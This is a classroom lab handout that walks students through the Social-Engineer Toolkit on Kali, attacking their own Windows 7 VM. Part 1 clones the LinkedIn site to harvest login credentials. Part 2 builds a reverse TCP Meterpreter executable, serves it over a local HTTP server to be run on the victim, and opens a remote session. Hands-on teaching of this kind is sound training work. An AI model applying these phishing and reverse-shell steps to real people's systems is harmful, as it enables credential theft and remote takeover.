## Social Engineering

In this lab you will use the social engineering toolkit that is built in to Kali linux to easily accomplish some social engineering attacks. Your victim machine will be your windows 7 instance. You can re-create these if you need by using my `hack studio script` as shown in the resources section. It is always a good idea to do a `git pull` on that hack studio directory to see if I have updated anything. I have also disabled my Windows 7 firewall.

### Part 1

1. Within a terminal on your Kali machine execute `sudo setoolkit`. Agree to the terms of service.
2. Select option 1 for `Social-Engineering Attacks`.
3. Select option2 for `Website Attack Vectors`.
4. Select option3 for `Website Harvesting Attack`.
5. Select option 2 to `Site Cloner`.
    - It will ask you for `IP address for the POST back in Harvester/Tabnabbing`. The default should be the Kali ip address, use it.
    - Enter the url to clone. I used `https://linkedin.com`. You must use https. Not all websites will work.

After a minute it will display something like:

```
    Credential Harvester is running on port 80
    [*] Information will be displayed to you as it arrives below:
```

After you see that, you can open your Windows machine. In this step, we are going to do a bit of staging for this attack to work. You could, for example, create some fancy html email message with the ip address of your kali machine in it saying `Click here for LinkedIn` or something fancy to get the victim to click on your message. We are going to make it easier by just opening Internet Explorer and pointing it to the IP address of our Kali machine. So, just open IE and input the ip of your Kali machine, mine was `http://192.168.100.2`. You should see the LinkedIn site. Do some fake login attempts, you should see the results back on your Kali machine.

Take a screenshot of your captured credentials back on your Kali machine.

### Part 2

Try another one. Re-launch the `setoolkit` as root.

Select the following:

- 3 `Infectious Media Generator`
- 2 `Standard Metasploit Executable`
- 2 `Windows Reverse_TCP Meterpreter`
- The ip address should be the ip of your Kali machine, mine was `192.168.100.2`.
- `Enter the PORT for the reverse listener:`, I entered 8787.
- Read the output that is generated, then select `yes` to create a listener now.

The toolkit generated an executable in `/root/.set/`. Now you could copy that generated exe to a USB and if you can get it to autoplay you could get a reverse shell on the victim. We will make it easier. In a separate Kali terminal, do `sudo bash`, then make sure you are in `/root/.set` directory and execute `python3 -m http.server 8888`. This will open an http server listening on port 8888 *in that directory*. So now all you have to do is open the browser on your windows machine and navigate to `http://192.168.100.2:8888`, click on the executable and run it. You should see a meterpreter session open back in your original Kali terminal.

We haven't spent much time in meterpreter, but assuming a session was started you can interact with it by doing `sessions -i 1`. Then type the `help` command and it will show you what you can do.

Do a few of the commands that you choose after viewing help. Take a screenshot.

## To pass off

Submit your screenshots.